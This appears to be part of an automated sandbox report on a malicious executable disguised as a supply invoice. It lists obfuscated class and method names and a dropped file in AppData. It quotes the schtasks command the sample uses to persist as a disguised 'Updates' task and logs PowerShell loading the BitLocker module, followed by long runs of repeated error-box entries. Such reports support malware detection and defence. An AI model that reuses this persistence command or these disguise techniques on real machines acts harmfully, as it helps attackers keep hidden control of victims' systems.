Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, oYsqIlCnTUHAL5yNdT.cs	High entropy of concatenated method names: 'QUHuh7FruA', 't21upavGwj', 'mHou27mwLm', 'Gjuu65hclw', 'PiOu9bfQok', 'EYMuJcnjBj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, lcdLy2b2BtInoffoCX.cs	High entropy of concatenated method names: 'EVefSw89F7', 'qeMfUt8vZy', 'IdZf59k6MS', 'BiofDtyjIv', 'FUPfjpuXx7', 'moZfcLdiGq', 'eGUquBS7FtqK6M5AqA', 'lDBRFqIUNOm4aPJSIC', 'kmeffj6EiD', 'cvif1v1nfO'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, xPNCP4yKlaxQ4Igfyn.cs	High entropy of concatenated method names: 'Q5tnhUTDn', 'WHxWu5LLH', 'kx9PZjKIJ', 'AfQlejln7', 'zLy8Ik4cg', 'MIOVhIMR4', 'pZ9X69CZpD6xee0eyj', 'yuC93sBUHg0h6iLYsO', 'DjPuxgM2q', 'xUjGapCnn'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, IuWCuwaCZ9qAvA1W6x.cs	High entropy of concatenated method names: 'bN6uKDaq8w', 'OGLuiMmXMA', 'YpOuQi7XBm', 'Meyu3x6kGB', 'BsUuO5aL3s', 'bAruShdFs1', 'XrpuUexEgq', 'vMJu7KAQqb', 'uyYu5lujPq', 'sLWuD9TbGU'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, gASMV9RVBgKVwEwNiD.cs	High entropy of concatenated method names: 'iWvSK0AVR7', 'mgoSQDfFKF', 'pDHSO6u4yU', 'eb5OwxOrXX', 'A6TOzHDon5', 'g5hSgZD5Xj', 'DLWSfk3YNH', 'pY9Sy9Sv3v', 'lunS1Ad3Pk', 'I2aSbwAjNB'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, zRoxmbmHnDHuxCxZCd.cs	High entropy of concatenated method names: 'lHrdYpl1Xy', 'DT5d8GKhGT', 'PR6dhA88ML', 'U0DdpFGXlB', 'b3qd6BFl1E', 'uFmdJ44aUo', 'HendRKae0D', 'fnidIcFG97', 'YpUdLpF2Jq', 'qfBdkskvDN'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, cjIvqmVOZC7W8VUPpu.cs	High entropy of concatenated method names: 'o7C3sDMlZk', 'wtX3lU4LH3', 'XfHQ2G57hp', 'BO3Q6KfRuf', 'X82QJgkpxR', 'f2AQM2DNxT', 'NNmQRgxcMD', 'CZjQIMEtjF', 'YfsQrJwaS6', 'MpIQLHxbSg'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, Kxx6uJrqrlMwC868Od.cs	High entropy of concatenated method names: 'XeMSTDJMso', 'pFSSA5gmwD', 'vlbSnYiZpD', 'g0KSWxewo5', 'fGOSsQvi0A', 'xB0SPH4F77', 'XCWSlLasPF', 'gsZSYkTBAU', 'RgcS8G4JhN', 'dbtSV1fJeb'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, lJ1lmuwDVXmUIT39XW.cs	High entropy of concatenated method names: 'f7XNf494eI', 'GZfN1QnFx9', 'bjfNbO3QL2', 'OSwNKssN49', 'dn7NiWsHbE', 'IxLN3RkdTf', 'xjbNOlfbnt', 'THauxMGepf', 'bI4uasv8mA', 'S6luCqOYTG'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, l3kDJff1JYZOmW6mjYW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'rChG9XBC9k', 'V2LGFhMKEE', 'wJyG4JOd4u', 'MH5GBf8JRO', 'IjAGvVuqeh', 'RyiGHpjV3c', 'aY0GxuuoDF'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, GfCw7jQCMa4j5lUVJ1.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'DZfyC3Ruq5', 'nW1ywPsUfh', 'QOryzYOcZS', 'o3O1gCjS8b', 'TAU1f6NRQg', 'nl71yTe4S0', 'E5311gWi7D', 'sEqRdMiUELJ0ESrcWRq'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, DwgS3W4DKNAZdSMCnK.cs	High entropy of concatenated method names: 'ToString', 'zTlckgCOgG', 'uL7cpfQne0', 'b2vc2MiVZS', 'WlEc6beF4D', 'bT8cJ6xomp', 'tW2cMVXRN1', 'sNgcRCVDnI', 'LaTcI6bcIW', 'fKacrVFuI8'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, oARh1kffG9A3XXehTWC.cs	High entropy of concatenated method names: 'ToString', 'p1DG1ZBpqA', 'NHxGbUVbY6', 'GdlGEHFfN5', 'NJRGKv0vpt', 'cd6Gi15ZuG', 'rxKGQJ1TVg', 'oaWG3N9NPS', 'thOWPxx2EfNQqcgcmov', 'txH8NMxTcjHZcghXtEN'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, K6t1S68dZ9k6MSsiot.cs	High entropy of concatenated method names: 'SuyQWnF2Id', 'TUVQPyrsDS', 'QZQQY4T2si', 'xluQ8brcpj', 'aZAQjiFrO2', 'SDjQcIkelw', 'mfNQti3Ubo', 'EgtQuM4m3Y', 'Xu2QN87KX4', 'ajZQGHJTtk'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, NOh5oUiP7BEbW3jLcm.cs	High entropy of concatenated method names: 'Dispose', 'SVRfC1PG1k', 'jxZypfTUHV', 'bJlhhNlhGA', 'U2ufwWCuwC', 'w9qfzAvA1W', 'ProcessDialogKey', 'IxdygYsqIl', 'zTUyfHAL5y', 'rdTyy7J1lm'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, LqAds0B4urYTsFfC7W.cs	High entropy of concatenated method names: 'auXt5fInx9', 'NbrtDP6CAY', 'ToString', 'HjjtK98WNB', 'TvJti2Use4', 'TwotQCkLZ4', 'yaGt3AbBeG', 'LIXtO5eYp8', 'MAOtSjxTtI', 'l8gtUtaXq0'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, tx75oZhLdiGqcbtCxe.cs	High entropy of concatenated method names: 'jhoOETkVtN', 'CpNOinFvxv', 'P0pO3hoPUs', 'hDeOSCe1nJ', 'tu5OUlCtfj', 'lOt3vfoLkO', 'JYo3H4w2ZL', 'rN43xsucvt', 'Ou03ac4jHs', 'y7N3CpLSqV'

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

File created: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp68D8.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
